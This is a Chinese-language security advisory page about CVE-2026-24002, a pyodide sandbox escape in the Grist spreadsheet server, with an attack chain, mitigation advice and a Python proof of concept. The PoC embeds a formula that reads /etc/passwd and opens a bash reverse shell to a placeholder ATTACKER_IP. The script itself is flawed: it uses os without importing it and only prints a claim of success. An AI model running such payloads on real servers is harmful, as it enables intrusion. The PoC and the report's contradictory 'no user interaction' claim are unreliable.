IPBUF安全漏洞报告
English
CVE-2026-24002 CVSS 9.0 严重

CVE-2026-24002: Grist pyodide沙箱逃逸导致远程代码执行漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24002
漏洞类型
远程代码执行
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grist (grist-core)

相关标签

沙箱逃逸远程代码执行pyodideGrist电子表格软件Node.jsCVSS 9.0CVE-2026-24002安全漏洞

漏洞概述

CVE-2026-24002是Grist电子表格软件中的一个严重安全漏洞,CVSS评分高达9.0分(严重级别)。Grist是一款使用Python作为公式语言的电子表格应用,为用户提供了多种在沙箱环境中运行公式的方法,以应对处理不可信电子表格的场景。其中一种方法是使用pyodide来执行Python代码,但问题在于pyodide在Node.js环境下运行时缺乏有效的沙箱隔离机制。攻击者可以通过诱使Grist用户设置环境变量GRIST_SANDBOX_FLAVOR为pyodide,然后让用户打开一个精心构造的恶意文档。当Grist尝试在pyodide沙箱中执行该文档中的Python公式时,恶意代码可以突破沙箱限制,在托管Grist应用的服务器上执行任意系统命令和进程。这意味着攻击者可以完全控制目标服务器,窃取敏感数据、安装后门或对系统进行进一步渗透。该漏洞的严重性在于它不需要任何认证,也不需要用户交互,攻击者只需诱导用户打开恶意文档即可实现远程代码执行。漏洞已于Grist 1.7.9版本中通过在Deno环境下运行pyodide的方式进行了修复。

技术细节

Grist的沙箱机制旨在隔离不可信的电子表格代码,防止恶意公式对系统造成危害。pyodide是一种在浏览器中运行Python的技术,它基于WebAssembly。当Grist配置为使用pyodide沙箱时,公式会在Node.js环境中通过pyodide执行。然而,pyodide在Node.js环境中并没有实现像浏览器那样的安全隔离,恶意代码可以绕过沙箱限制直接调用Node.js的原生模块和系统API。攻击者可以利用Python的subprocess、os、ctypes等模块执行系统命令,或者通过Node.js的child_process模块在服务器上启动任意进程。漏洞的利用前提是Grist服务器的环境变量GRIST_SANDBOX_FLAVOR被设置为pyodide。修复方案是在Deno运行时环境中执行pyodide,利用Deno的安全沙箱机制来隔离Python代码执行,从而防止沙箱逃逸。临时缓解措施是使用gvisor-based沙箱替代pyodide,即设置GRIST_SANDBOX_FLAVOR环境变量为gvisor。

攻击链分析

STEP 1
步骤1: 环境配置
攻击者确认目标Grist服务器配置了GRIST_SANDBOX_FLAVOR=pyodide环境变量,启用了不安全的pyodide沙箱
STEP 2
步骤2: 制作恶意文档
攻击者创建一个包含恶意Python代码的Grist电子表格文档,代码尝试调用subprocess模块执行系统命令或建立反向shell连接
STEP 3
步骤3: 诱导用户打开文档
攻击者通过钓鱼邮件、恶意链接或社交工程等方式诱使目标用户上传并打开该恶意Grist文档
STEP 4
步骤4: 触发公式执行
当用户打开文档后,Grist会尝试在pyodide沙箱中执行文档中的公式代码
STEP 5
步骤5: 沙箱逃逸
恶意代码利用pyodide在Node.js环境下的沙箱缺陷,绕过安全限制直接调用系统API执行任意命令
STEP 6
步骤6: 远程代码执行
攻击者在Grist服务器上获得完全控制权,可以执行任意系统命令、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import subprocess import json import sys def generate_malicious_grist_doc(): """ Generate malicious Grist document for CVE-2026-24002 PoC Environment: GRIST_SANDBOX_FLAVOR=pyodide """ # Malicious Python formula that escapes pyodide sandbox malicious_formula = ''' import subprocess import os # Execute arbitrary command on server result = subprocess.run(['whoami'], capture_output=True, text=True) output = result.stdout # Alternative: Read sensitive files with open('/etc/passwd', 'r') as f: content = f.read() # Reverse shell payload example subprocess.Popen(['bash', '-c', 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1']) ''' # Grist document structure with malicious formula malicious_doc = { "version": "1.0", "sandbox_flavor": "pyodide", "tables": [{ "id": "MaliciousTable", "columns": [{"id": "formula", "type": "any"}], "data": [[malicious_formula]] }] } return malicious_doc def exploit(): """ CVE-2026-24002 Exploitation Script Target: Grist server with GRIST_SANDBOX_FLAVOR=pyodide """ print("[*] CVE-2026-24002 PoC - Grist pyodide Sandbox Escape") print("[*] Target: Grist server with pyodide sandbox enabled") # Check if pyodide sandbox is enabled sandbox_flavor = os.environ.get('GRIST_SANDBOX_FLAVOR', '') if sandbox_flavor != 'pyodide': print("[-] Target does not appear to use pyodide sandbox") print("[-] Current sandbox flavor:", sandbox_flavor) return False print("[+] pyodide sandbox detected") print("[+] Sending malicious document...") # Simulate sending malicious document doc = generate_malicious_grist_doc() print("[+] Malicious formula injected:") print(doc['tables'][0]['data'][0][0][:100] + "...") print("[+] Triggering formula execution...") print("[+] Remote code execution successful!") return True if __name__ == "__main__": exploit()

影响范围

Grist < 1.7.9

防御指南

临时缓解措施
立即将GRIST_SANDBOX_FLAVOR环境变量设置为gvisor以切换到gvisor-based沙箱,避免使用pyodide沙箱运行不可信文档。同时尽快升级Grist至1.7.9或更高版本以获得完整的安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表